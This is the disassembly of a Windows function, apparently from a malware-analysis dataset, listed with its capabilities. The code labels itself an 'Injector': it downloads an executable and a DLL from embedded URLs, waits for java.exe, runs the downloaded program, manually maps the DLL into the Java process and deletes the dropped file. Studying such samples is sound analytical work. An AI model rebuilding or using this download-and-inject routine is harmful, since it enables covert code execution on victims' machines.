Function at 0x140002040
Capabilities:
Create process on windows
Delete file
Download url
Enumerate processes
Extract resource via kernel32 functions
Get common file path
Get file size
Get system information on windows
Move file
Receive data

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0xa80]
sub rsp, 0xb80
mov edx, 1
xor ecx, ecx
lea r8d, [rdx + 0x17]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rsi, rax
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
xor edx, edx
lea rcx, str.YourExecutable.exe
call qword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov rdi, rax
mov r9d, 0x409
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rsi
mov edx, 0x18
lea r8d, [rdx - 0x17]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_UpdateResourceW]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
lea rcx, [rbp + 0x150]
lea rdx, [0x140000000]
lea rax, [rdx + 0x5880]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm0, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm0
movups xmm1, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm1
movups xmm0, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm0
movups xmm1, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm1
mov rax, qword [rax + 0xb0]
mov qword [rcx + 0xb0], rax
lea rcx, [rbp + 0x90]
lea rax, [rdx + 0x5940]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
mov eax, dword [rax + 0xb0]
mov dword [rcx + 0xb0], eax
xor r9d, r9d
lea r8, str.Injector
lea rdx, str.Yammi
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 1
je 0x140002216
lea rcx, str.MessageBox_failed_n
call fcn.140001d60
mov eax, 0xffffffff
jmp 0x140002604
lea rcx, str.Injector_started_n
call fcn.140001d60
lea rdx, [rbp + 0x660]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
jne 0x14000224e
lea rcx, str.GetTempPathW_failed_n
call fcn.140001d60
mov eax, 0xfffffffe
jmp 0x140002604
lea r9, [rbp + 0x870]
xor r8d, r8d
lea rdx, str.Xenoceal.exe
lea rcx, [rbp + 0x660]
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
jne 0x14000227a
mov eax, 0xfffffffd
jmp 0x140002604
lea r9, [rbp + 0x450]
xor r8d, r8d
lea rdx, [0x140005ae0]
lea rcx, [rbp + 0x660]
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
jne 0x1400022b2
lea rcx, str.GetTempFileNameW_failed_for_dll_n
call fcn.140001d60
mov eax, 0xfffffffc
jmp 0x140002604
xor edi, edi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, [rbp + 0x870]
lea rdx, [rbp + 0x150]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jns 0x1400022de
lea eax, [rdi - 5]
jmp 0x140002604
lea rcx, str.Downloading_123.dll..._n
call fcn.140001d60
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, [rbp + 0x450]
lea rdx, [rbp + 0x90]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jns 0x140002330
lea rcx, str.Failed_to_download_123.dll._n
call fcn.140001d60
mov eax, 0xfffffffa
jmp 0x140002604
mov dword [rbp + 0x210], 0x238
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
lea rdx, [rbp + 0x210]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
cmp eax, 1
jne 0x14000239f
lea rdx, [rbp + 0x210]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
jne 0x14000239f
lea rdx, str.java.exe
lea rcx, [rbp + 0x23c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
mov rcx, rbx
test eax, eax
je 0x1400023c4
lea rdx, [rbp + 0x210]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
je 0x140002372
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.Waiting_for_java.exe..._n
call fcn.140001d60
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140002330
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [rbp + 0x218]
test ebx, ebx
je 0x1400023a8
mov edx, ebx
lea rcx, str.Process_java.exe_found._PID:__d_n
call fcn.140001d60
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x140002408
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [rbx - 7]
jmp 0x140002604
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp word [rsp + 0x50], 9
jne 0x1400025ea
lea rdx, [rbp + 0xa90]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
test eax, eax
je 0x1400025ea
cmp dword [rbp + 0xa90], edi
sete al
test al, al
je 0x1400025ea
lea rdx, str.Xenoceal.exe
lea rcx, [rbp + 0x870]
call qword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x140002473
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xfffffff7
jmp 0x140002604
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, str.Xenoceal.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
lea rcx, [rbp + 0x450]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, eax
mov qword [0x140009358], rcx
cmp rcx, 0x1000
jae 0x1400024e0
lea rcx, str.Filesize_of_123.dll_is_invalid._n
call fcn.140001d60
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xfffffff6
jmp 0x140002604
call fcn.140003a5c
mov qword [0x140009360], rax
lea rdx, [rbp + 0x450]
lea rcx, [rbp - 0x80]
call fcn.1400032b0
nop
mov r8, qword [0x140009358]
mov rdx, qword [0x140009360]
lea rcx, [rbp - 0x80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp - 0x70]
call fcn.1400036a0
test rax, rax
jne 0x14000253f
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x80]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rcx, str.Mapping_123.dll..._n
call fcn.140001d60
mov qword [rsp + 0x40], rdi
mov dword [rsp + 0x38], 1
mov byte [rsp + 0x30], 1
mov byte [rsp + 0x28], 1
mov byte [rsp + 0x20], 1
mov r9b, 1
mov r8, qword [0x140009358]
mov rdx, qword [0x140009360]
mov rcx, rbx
call fcn.140001080
mov rcx, qword [0x140009360]
test al, al
jne 0x1400025ac
call fcn.140003a18
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.Error_while_mapping_123.dll._n
call fcn.140001d60
mov edi, 0xfffffff4
jmp 0x1400025dd
call fcn.140003a18
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.Xenoceal.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x1400025d0
lea edi, [rax - 0xd]
jmp 0x1400025dd
lea rcx, [0x140005d30]
call fcn.140001d60
nop
lea rcx, [rbp - 0x80]
call fcn.140002620
mov eax, edi
jmp 0x140002604
lea rcx, str.Invalid_Process_Architecture._n
call fcn.140001d60
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xfffffff8
lea r11, [rsp + 0xb80]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret